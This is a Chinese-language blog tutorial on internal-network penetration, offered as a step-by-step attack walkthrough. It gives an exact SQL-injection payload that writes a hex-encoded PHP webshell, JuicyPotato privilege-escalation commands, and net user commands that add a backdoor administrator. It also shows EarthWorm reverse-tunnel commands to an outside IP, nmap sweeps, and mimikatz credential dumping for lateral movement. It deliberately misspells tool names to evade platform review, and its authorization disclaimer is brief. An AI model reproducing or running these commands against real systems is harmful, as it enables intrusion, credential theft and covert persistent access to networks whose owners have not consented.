内网渗透(上)

    技术2022-07-14  106

    每日一句: 做安全,有一定实力的话。找工作,待遇不好就不要去,不要委屈求全。 世界上好地方那么多,不出去看看的话,你就以为这就是世界 另外,二进制其实也不是多值钱的玩意,没必要觉得多深奥

    声明: 内网渗透是非常危险的,没有明确的授权不要做。切记切记 本篇文章用到的软件100%报毒,最好在虚拟机用,不怕后门的可以在本机运行

    一、win提升权限

    (一),sql注入可以干什么? ~获取数据、读取文件、影响数据库 ~通过写一句马从而getshell (二),sql语句:导出文件 ~into outfile ~into dumpfile 举例: 语句: select 1,2,3 into dumpfile 'C:\\www\\123.txt' 作用: 在“c:\www\”目录下新建123.txt。 其内容为“123” 进阶:通过此方式写一句马 语句: select 1,2'<?php eval($_REQUEST[8])?>' into dumpfile 'C:\\www\\123.php' 作用: 在“c:\www”目录下新建123.php文件,内容为一句马 注意: 1,这个函数(into dumpfile)在mysql高版本是默认不开启的 类似的还有load_file(),一般这两个函数要开启都会开启 2,如何存在堆叠注入(即可以同时执行多条语句), 可以通过日志的方法写webshell。 3,在phpstudy修改默认状态后,需要重启生效 4,在老一点的版本中是可以直接使用的,新版本会报一个1290权限的错误 实战中的语句: url ?id=1 union select 1,'一句马内容' into dumpfile "C:\\www\\123.php" 补充: (1),这个路径怎么获得? 通过sql报错注入,使服务器爆出路径 若爆不出,只能靠猜了。 当然也可以配合别的攻击手段使爆出绝对路径 (2),第一次写文件,建议先写一个txt文档,成功后在写php文件 可以看看自己写到txt的代码有没有问题,避免一些悬学问题 (3),一句马内容 若直接写“<?php eval($_REQUEST[8])?>”肯定报错 因为url栏中“?”一般代表传参 会冲突。 (4)那一句马怎么写? 将一句马内容16进制编码。即得到: “3c3f7068706576616c28245f524551554553545b385d293f3e” 注意:16进制编码会将空格默认去掉,即上边的编码, 解码后是这样的:<?phpeval($_REQUEST[8])?> 而php中,那个空格是格式,这样的代码是会报错的。 怎么办?----->加空格! (空格的16进制编码是20), 即在“3c3f706870”后加“20”。 事实上,3c3f706870就是是‘<?php’的编码 综上,完整语句为: url ?id=1 union select 1,0x3c3f706870206576616c28245f524551554553545b385d293f3e into dumpfile "C:\\www\\123.php" (5),为什么要进行16进制编码? URL编码本质就是16进制 (6),上述语句中为什么多加“1”(union select 1,内容) 这个1,是联合查询中,要和前一个表的字段数相同所补充的格式 实战中,可能会很多。 至于字段数可以通过“order by”判断出 (7),路径为什么有两个“ \\ ” 正常路径是:“C:\www\123.txt”。但是这需要转义 要么路径中用“\\”,要么用“/”否则地路径会与网络路径会发生冲突 (8),有时候sql注入爆不出回显点,可以将前边语句加个“and 1=2” 正常语句: url id=1 union select 1,2 //不显示回显点 构造语句: url id=1 and 1=2 union select 1,2 //出现回显点 (9),为什么一句马中的$_REQUEST[8]用数字8 因为这样的数字传参不用加单引号或者双引号,会简单很多 建议以后写马的同学用数字传参 (三),权限的提升 1,当前的权限 此时我们可以用菜刀连接我们刚刚生成的一句马 运行虚拟终端,输入“whoami”查看当前权限 一般是游客或者管理员权限(administrator), 但是在服务器中管理员权限不是最高的,正常可以获取到最高的权限为“系统权限”,即“system”权限 2,如何提权?(即将低权限提升为system权限) (1) 不同服务组件用了不同权限。例如网站权限低,数据库权限高,那么我们就要想办法让其他组件帮我们去做事。 再例如:目标及其上运行了一些其他的服务,然后这些服务只能从内部访问,然后我们也可以调用过来用。 (例如:FTP|Redis等等)[这个需要一定知识的沉淀、积累,不推荐新手] 举个例子: 一台服务器两个网站(A、B网站),A网站权限较低,但是B网站较高。 你拿下了A站但是权限较低,此时你可以通过A网站向B网站写一个马, 此时你的webshell就会比较高了,这算是一个例子吧 常用cmd命令: whoami 查看当前用户权限 netstat -ano 查看本机开放的端口 tasklist 查看本机运行的程序[类似于人物管理器] systeminfo 查看计算机信息 (2)利用win的漏洞(最常见手法) 原理:查看win打了什么补丁,然后去网上找存在什么样的漏洞,然后找对应的提权工具 命令:systeminfo 查看计算机信息 步骤: (1) ~systeminfo得到计算机打了哪些补丁后, ~粘贴在这个网站(http://bugs.hacking8.com/tiquan/), ~点击查询,会根据你的补丁找到对应的提权exp 本质是,会避开上述补丁找剩余可利用的exp ~可以通过编号去这个网站找:https://github.com/SecWiki/windows-kernel-exploits ~这个网站有很多做好的exe文件,直接上传服务器用就ok了 (2)利用“烂土豆”(万能提权集合exp)进行提权 官网:https://github.com/ohpe/juicy-potato/releases 但是官方的很使用相对较为麻烦,本人经常使用的是魔改版 ps:有需要的直接私信,看到就回复。这个烂土豆100%报毒,使用需要添加信任 命令: 原版烂土豆的使用命令很复杂,直接上魔改版的 比如:JuicyPotato.exe -p "whoami" 在-p里的命令直接是system执行的, 前提是将这个东西上传到了目标服务器即可 可以将JuicyPotato.exe文件名改为1.exe,这样就可以使用命令时,少些几个字母。 如:1.exe -p "whoami" 补充:多说一点关于后门的问题,很多同学怕下载的东西留有后门,其实一般看看有没有公布源码 正常敢于公布源码的大概率是没有后门的 另一个就是放在虚拟机运行,这个是相对安全点的方法 如何判断有没有后门? 正常就是抓取流量,看看有没有异常偷偷跑的 或者打开cmd,输入:netstat -nb可以看到此时与电脑建立连接的所有应用进程 权限不足时,以管理员身份运行cmd 学习安全初期被大佬攻击作为肉鸡都是可能的 (3)常用命令(建用户、放到管理员组) ~在服务器创建用户: net user 用户名 密码 /add ~将某用户放置到管理员组 net localgroup administrators 用户名 /add 问:接下来我们应该做一些什么? 这时正常情况就是利用3389端口进行远程连接 问:服务器没有开启3389端口怎么办? 通过修改服务器的注册表可以打开 3,反向连接突破限制 问题:这时,产生一个问题是目标机器在内网中,你访问不到他的3389怎么办? 这个地方你要知道,一个网站一般都在目标的内网内,然后他开放的端口,是依靠路由器转发出去的 ~用户访问公网IP的一个端口 ~路由器去接收到有人访问这个端口,根据路由器的 端口映射 规则分配到内网机器 ~内网机器收到数据,连接 但是如果转发规则里面 没有我们转发到我们的目标服务器端口的规则 那我们是无法连接到的 解决方法正常分为两种: ~黑掉路由器,修改里边的端口转发规则 ~利用反向连接技术,让我们控制的站点来连接我们公网上的一个端口,然后构成反向连接 反向连接:让目标连接我们 正向链接:我么连接目标 反向连接的前提: ~内网的服务器可以任意访问公网。当然一般都是可以的,可以ping一下公网IP ~要有一个公网IP。未满24岁可以去整一个阿里云学生机,性价比很高。9.9月一个月

    二、花生.壳巧获得公网IP

    问题:假如没有公网ip,是不是就无计可施了? 答曰:非也、非也,我们可以利用一些内网穿。透工具(如花生.壳,官网:https://qydev.com/index.html)。 但是要明白一件事,省了钱,就一定会多麻烦一些。所谓鱼和熊掌不可兼得 多说一句,不知道提到远cheng控制 同学们有没有想到向日葵等一些商用远a控,从原理上来说 是可以行的通的,当然这就多提一句,同学们有时间可以自己去摸索一下。 问题:花sheng壳等内网穿。透工具的原理是什么样的? 答曰:我们的电脑与花生.壳建立一个连接,此时生成一个域名, 让目标靶机去访问(连接)花生.壳生成的域名,此时通过花2生壳的桥接作用就连接到了本机 最终,我么让服务器通过花生.壳这个中间桥梁反向连接到了本机电脑 本机 <---> 花生.壳 <---> 目标靶机 问题:如何具体操作上述 答曰:~注册花生.壳,官网上述有 ~点击隧道管理-开通隧道,(因为是学习,没有多大的要求) ~选择免费的就行,填写信息: 隧道协议勾选tcp,名称随便写,本机端口写127.0.0.1:666(端口可以随便写一个系统没用的就行) 此时,你的隧道管理处会多一个隧道(自动生成keycode,公网域名) ~根据需要下载一个客户端版本,打开,将隧道管理处的keycode粘贴到客户端 ~别的电脑访问生成的公网域名就等于访问你电脑的127.0.0.1:666端口, 即完成架桥梁,突破公网内网的限制,但是仅仅可以放出本机一个端口。有条件的话,还是推荐阿里云 假如有服务器,别人就可以直接访问到了,也不要上述步骤。而且可以访问到全端口 问题:花生.壳在涉及到隧道时,需要手机接验证码,有没有纯匿名的? 答曰:有,国外的ngrok,完全匿名。但是速度较慢 其实到此时,若是没什么特别的问题。我们直接通过菜刀等工具将下载的花生.壳软件放到靶机, 将靶机的3389端口直接放出来,即完成了最初的目标,控制了目标服务器。 问题:若是内网有3台服务器,a机器能访问公网被我们通过花生.壳拿下,但是b,c机器不能访问公网该如何拿下? 答曰:可以通过一些非正统的方法,如通过a机器继续套娃远cheng控制b与c等等 当然本文章既然是讲到了内网,那么就得和大家普及一下正统的内网的纵横方法, 不要急,继续往下看

    三、ew内网穿。透端口转发

    介绍官网:http://rootkiter.com/EarthWorm/ ps: 但是,让人吐血的是 官网竟然不给下载了。 据开发者本人说“考虑到该工具影响很坏,该工具永久停止更新,如要反馈查杀规则请移” 简单说,工具很强,危害很大,我不更新了,也不给你们下载了(有需要的朋友可以私信我,包括win、linux、mac) 0. Ew常用的命令 (1) 接受代理: ew(软件名) -s rcsocks -l 8888 -e 9999 命令解释: 监听9999端口,将获取到的数据转发给8888端口,若接受到数据会在cmd中返回一个ok 不是太懂? ~9999是我的工资卡,8888是我对象的工资卡 ~当我卡里打入工资的时候,我都主动的将钱转给我对象 ~并给对象一下:“老婆,嘿嘿,我将钱打到你卡里了” (2) 建立反向代理:ew(软件名) -s rssocks -d 1.1.1.1 -e 8888 命令解释: 将本机反向连接到1.1.1.1的8888端口。这句命令是在目标靶机执行的 不是太懂? ~我恋爱了,正常都是我主动去找女朋友玩, //即正向连接 ~但是她妈妈最近管的严,我不能再去她家找她玩了。 ~所以我给女友一个手机(ew), ~约会的前告诉女友,我在“1.1.1.1的8888”这个地方等你 ~女友从家里出来,来找我 //即反向连接 即我们药酱这个ew要上传到目标靶机上,且在靶机执行上述命令 问题:注意的是,这个-d后的参数是IP,而非域名。怎么通过域名得到IP呢? 答曰:直接cmd中,ping这个域名,就可以看到IP了 1.首先申请花sheng壳,建立一个tcp的连接协议, 假设花生.壳生成的域名及其远程端口为:free.aaa.com:4472 映射(连接)到的本机的端口为:127.0.0.1:6666。 //详细过程上边有,描述很复杂 操作很简单 注意:这个本机映射的端口不能与本电脑已经运行的端口相冲突,很好理解, 比如一个端口你的qq已经占用了,你还让花生.壳走这个端口,这肯定会造成冲突。 正常的操作是让qq走一个端口,花生.壳走另一个 2.在本机开启监听 ew_for_win_32.exe(ew的名字) -s rcsocks -l 4545 -e 6666 //即6666端口收到数据,将数据转给4545端口。同时在终端返回 "ok" 3.通过菜刀将ew上传到目标靶机,最好同时将烂土豆也上传过去。防止执行一些命令权限不够 ~将烂土豆改名为1.exe ew改名为2.exe ~改名字仅仅是因为在菜刀的虚拟终端执行命令时,简化指令 4.在菜刀的虚拟终端执行命令,连接花6生壳 ~通过 1 中我们知道,花生.壳的域名为free.aaa.com通过ping我们得知其对应的IP为47.92.102.131 ~靶机通过ew进行反向连接: 1.exe -p "2.exe -s rssocks -d 47.92.102.131 -e 4472" 5.本机终端会返回“ok”,代表本机与目标靶机通过花a生壳可以直接进行 端口间数据通讯 此时,就差最后一步,我们就可以对目标靶机进行控制了 我们只要挂上SOCKS5的代理就可以了,这个东西的原理较为复杂,咱们是搞安全的不用把这个原理搞明白,直接用就ok 6.安装Proxifier,设置SOCKS5代理 ~安装Proxifier(安装包可以私聊我要,或者自己谷歌下载) ~打开Proxifier,点击配置文件,点击代理服务器,点击编辑 ~地址设置为127.0.0.1,端口设置为4545 7.收获 此时我们才算是成功控制了目标靶机,我们在本机浏览器做的任何操作都相当于是在目标靶机上做的操作 比如,此时我们在浏览器百度“IP” ;会发现IP地址是目标靶机的IP,而非本机的IP。 这时,我们就可以在自己浏览器直接访问目标靶机的内网了。 当然,可以访问内网也可以通过3389进行远程连接这个目标靶机了 补充:只不过可能会有一些卡顿,毕竟代理了好几层 总结过程: 本机4545端口 //设置SOCKS5代理,可访问目标靶机,可通过3389进行远程连接靶机 <-- //将6666端口的数据转给4545 本机6666端口 //通过ew进行端口数据监听与转发 <--> //本机反向连接花生.壳 花生.壳(域名:free.aaa.com,IP:47.92.102.131,端口为4472) //提供公网IP,充当桥梁、中间人角色 <--> //受害靶机反向连接花b生壳 目标靶机(直接执行命令反向连接) //通过烂土豆、ew进行反向连接

    四、探测内网机器

    0.思路 正常是先探测下内网主机,在探测下主机端口 在找一找本机里的文件,看看有没有什么发现 在根据端口去寻找问题, 例如: 某内网机器开启了445端口(445端口有个内网大杀器--永恒之蓝) 开了3389(3389可以尝试爆破登录,或者试试cve-2019-0708能不能直接拿下) 一般而言,网站都是外紧内送。一旦突进了内网,里面的东西是很脆弱的。 比如弱密码,一些开发了一半的网站等等 而且很多内网的机器都没有打永恒之蓝的补丁 1.条件 通过3389远程连接成功后,此时就相当于我们多了一个电脑,我们可以进行横扫内网 2.在靶机安装nmap ~将nmap先压缩一下 ~通过菜刀上传到目标靶机 //多说一句,有的大文件菜刀可能会上传失败 //问:如何知道我们有没有成功上传文件呢? 答:直接在菜刀里更新一下文件目录不就好了 ~发现菜刀连接失败的话,直接将压缩包 通过 远程桌面连接复制过去 另外,也有一些野的思路,比如在目标靶机装一个qq,通过qq传过去等等 当然,在这我仅仅是提一下。攻陷一个目标有很多种方法,大家不要思维固化。 3.通过nmap探测C段 ~将上传成功的nmap在目标靶机安装 ~通过ipconfig查看靶机的IP; //假设是10.0.1.4 ~探测内网机器:nmap 10.0.1.1/24 //就是将10.0.1.1-10.0.1.255探测一遍 当然这是不太重要的话,简单探测探测。 比较重要的话,直接将所有的内网IP段全探测了

    五、提取本机管理员账号密码

    0.前言 内网很多情况是这样的,内网很多机器,但是管理员可能就是那么几个人, 所以各个机器的用户账号密码相同的可能性极高,那么我们如果能获取本机所有用户的密码, 就可以看到管理员原本设置的密码。 1.介绍一款神器--mimikatz(别名猕猴桃) 是一款内网渗透中常用的工具,也有人喜欢叫法国神器,因为是法国的本杰明·德尔皮编写创建 下载地址:https://github.com/gentilkiwi/mimikatz 因为Windows会把用户的明文密码放在内存里面, 所以它可以从内存中提取纯文本密码,哈希和kerberos票证。 //这个kerberos票据是关于域控的知识,下次在说相关内网 另外windows server 2012及其上就不储存明文,这个时候可以通过修改注册列表的形式开启明文密码显示 然后,静静等待管理员的访问。管理员什么时候访问,什么时候得到明文密码 之前说本文中用到的工具报毒,也主要是因为这个东西。 2.mimikatz的三条命令(按顺序执行即可) privilege::debug 提升权限 log 新建日志记录 sekurlsa::logonpasswords 抓取密码 使用方法: (1): 手动输入 (2): 打开mimikatz,在菜单栏右击, 选择编辑,粘贴 报错处理: 以管理员身份运行该软件 尝试重新打开在运行试试 可能是版本错了,32位系统就用32的,64就用64的 说明: 这个mimikatz是去电脑内存搞事情,所以要很高的权限。 对于权限,system并不是最高的。在此之上还有很多乱七八糟的权限 只是对初学者用的比较少,我们先不要细究 综上mimikatz是去内存搞事情,所以要提升权限, 即先执行权限提升的命令 然后在执行抓取密码的命令 使用log命令,可以在猕猴桃的同目录下生成日志记录文件。 这样抓到的密码就可以直接在日志文件中复制了。 3.搞一搞内网中别的机器 如我们通过nmap探测到内网中一个10.0.1.5这个机器 ~我们就可以通过已经连接的靶机A去 连接这个新的机器B ~或者我们已经通过SOCKS5在本机 在开一个远程桌面连接就可以用在A机器获取的密码去连接B机器 总结: ~已经远程连接到靶机A机器 ~用mimikatz抓取A机器上的所有账号与密码 ~因为内网中的机器绝大多数的账号密码都相同 ~我们就可以用A机器上得到的账号密码去远程连接内网中的B机器、C机器等等 ~而B机器、C机器的内网IP,我们也可以通过A机器上的nmap得到 在下一篇文章中,在主要介绍一下域控及其票据相关知识 有些内容有错别字,因为平台的审核太严格。不过大家应该可以看懂,毕竟内网渗透太敏感了,在次感谢审核人员通过 如:花生.壳 ---> 其实是huashengke;
    Processed: 0.010, SQL: 10